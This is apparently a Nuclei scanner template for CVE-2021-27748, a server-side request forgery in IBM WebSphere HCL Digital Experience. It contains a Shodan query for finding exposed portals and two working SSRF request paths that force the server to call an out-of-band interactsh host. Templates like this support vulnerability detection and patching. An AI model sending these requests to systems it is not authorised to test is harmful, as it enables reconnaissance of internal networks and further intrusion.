id: CVE-2021-27748

info:
  name: IBM WebSphere HCL Digital Experience - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    IBM WebSphere HCL Digital Experience is vulnerable to server-side request forgery that impacts on-premise deployments and containers.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Apply the latest security patches or updates provided by IBM to mitigate this vulnerability.
  reference:
    - https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/
    - https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0095665
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27748
  classification:
    cve-id: CVE-2021-27748
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"IBM WebSphere Portal"
  tags: cve2021,cve,hcl,ibm,ssrf,websphere

http:
  - method: GET
    path:
      - '{{BaseURL}}/docpicker/internal_proxy/http/{{interactsh-url}}'
      - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/{{interactsh-url}}'

    host-redirects: true
    max-redirects: 2
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: regex
        regex:
          - '^[a-z0-9]+$'